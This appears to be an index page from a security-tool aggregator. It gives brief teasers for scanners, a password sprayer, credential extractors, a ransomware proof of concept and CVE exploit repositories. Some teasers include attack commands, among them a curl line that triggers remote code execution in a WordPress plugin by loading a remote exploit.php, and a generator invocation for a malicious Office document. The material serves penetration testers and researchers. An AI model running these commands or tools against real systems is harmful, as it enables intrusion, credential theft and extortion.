wpscan

WPScan WordPress Security Scanner WPScan WordPress Vulnerability Database - WordPress Security Plugin INSTALL Prerequisites Optional but highly recommended: rbenv Ruby = 3.3 - Recommended: latest stable Curl = 7.72 - Recommended: latest stable The 7.29 has a segfault The 7.72 could result in...

br0w

br0w Hack The Br0w | Juega con tu navegador y aprende más, ¡hackea divertido!! Br0w es una web sencilla para aprender sobre seguridad web usando el navegador como herramienta que a veces la gente olvida sus mayores beneficios. Quizás es más como un Capture The Flag CTF. Uno de los desafíos es...

TREVORspray

TREVORspray 2.0 TREVORspray es un rociador de contraseñas modular con hilos, proxy SSH, módulos de botín y más. Por @thetechr0mancer Instalación: root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray...

kubolt

Wat? Kubolt is simple utility for scanning public unauthinticated kubernetes clusters and run commands inside containers Why? Sometimes, the kubelet port 10250 is open to unauthorized access and makes it possible to run commands inside the containers using getrun function from kubelet:...

vmpdump

VMPDump A dynamic VMP dumper and import fixer, powered by VTIL. Works for VMProtect 3.X x64. Before vs After Usage VMPDump.exe "" -ep= -disable-reloc Arguments: : The ID of the target process, in decimal or hex form. : The name of the module which should be dumped and fixed. This can be an empty...

CVE-2023-50387

CVE-2023-50387 KeyTrap in DNS CVE-2023-50387 This repository is for educational purposes. The number of keys and signatures has been intentionally kept low to prevent their use in actual attacks, and a script for generating colliding keys are not included. Test Setting up the PoC environment...

sparrow-wifi

Sparrow-WiFi Sparrow-WiFi es una herramienta de conciencia espectral WiFi y Bluetooth 2.4 GHz y 5 GHz para Linux. Integra en una sola plataforma el escaneo WiFi, la detección de Bluetooth Low Energy y Classic, el análisis espectral mediante radio definida por software HackRF, Ubertooth, el...

recog

Recog: A Recognition Framework Recog is a framework for identifying products, services, operating systems, and hardware by matching fingerprints against data returned from various network probes. Recog makes it simple to extract useful information from web server banners, snmp system description...

PCredz

PCredz 2.1.0 PCredz extracts credentials and authentication tokens from network traffic PCAP files or live capture. Features Supported Protocols Extract credentials from both IPv4 and IPv6 traffic: NTLM : NTLMv1/v2 hashes from HTTP, SMB, LDAP, MSSQL, DCE-RPC, and more Kerberos : AS-REQ Pre-Auth...

CVE-2021-21975

CVE-2021-21975 VMware vRealize Operations Manager API Server Side Request Forgery SSRF vRealize Operations vROps is a tool that self-driving IT operations management powered by AI from apps to infrastructure to optimize, plan and scale VMware Cloud and HCI deployments while unifying public cloud...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...

sandbox-attacksurface-analysis-tools

sandbox-attacksurface-analysis-tools version 2. c Google LLC. 2015 - 2024 Developed by James Forshaw This is a small suite of PowerShell tools to test various properties of sandboxes on Windows. Many of the tools take a -ProcessId flag which is used to specify the PID of a sandboxed process. The...

CVE-2021-40444

CVE-2021-40444 Usage Ensure to run setup.sh first as you will need few directories. Once you have run the script, you should be able to run gen.py with the example given:- root@kitploit: Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t...

Phirautee

Phirautee A proof of concept crypto virus to spread user awareness about attacks and implications of ransomwares. Phirautee is written purely using PowerShell and does not require any third-party libraries. This tool steals the information, holds an organisation’s data to hostage for payments or...

TinyInst

TinyInst root@kitploit: Copyright 2020 Google LLC Licensed under the Apache License, Version 2.0 the "License"; you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or...

Pentest-Bookmarkz

Pentest Bookmarks List Sofiane Hamlaoui Check more on Google : https://g.co/kgs/FUZgoXi Hacker Media Blogs There are a LOT of pentesting blogs, these are the ones I monitor constantly and value in the actual day to day testing work. Carnal 0wnage - atom McGrew Security GNUCITIZEN Darknet - The...

Swego

Swego Swiss army knife Webserver in Golang. Keep simple like the python SimpleHTTPServer but with many features Usage Run the binary If you don't want to build it, binaries are availables on https://github.com/nodauf/Swego/releases Otherwise, build-essential should be installed and GOPATH...

RTLSDR-Scanner

RTLSDR Scanner Copyright 2012 - 2015 Al Brown al at eartoearoak.com A cross platform Python frequency scanning GUI for the OsmoSDR rtl-sdr library. More details can be found here. A basic user manual is also available. Tested on: Windows 7 x86 and x64 Windows 8.1 x64 Ubuntu 12.04 x86 Ubuntu 12.10...

bkcrack

bkcrack Crack legacy zip encryption with Biham and Kocher's known plaintext attack. Overview A ZIP archive may contain many entries whose content can be compressed and/or encrypted. In particular, entries can be encrypted with a password-based symmetric encryption algorithm referred to as...

trackerjacker

trackerjacker Like nmap for mapping wifi networks you're not connected to. Maps and tracks wifi networks and devices through raw 802.11 monitoring. PyPI page: https://pypi.python.org/pypi/trackerjacker Install root@kitploit: pip3 install trackerjacker Supported platforms : Linux tested on Ubuntu,...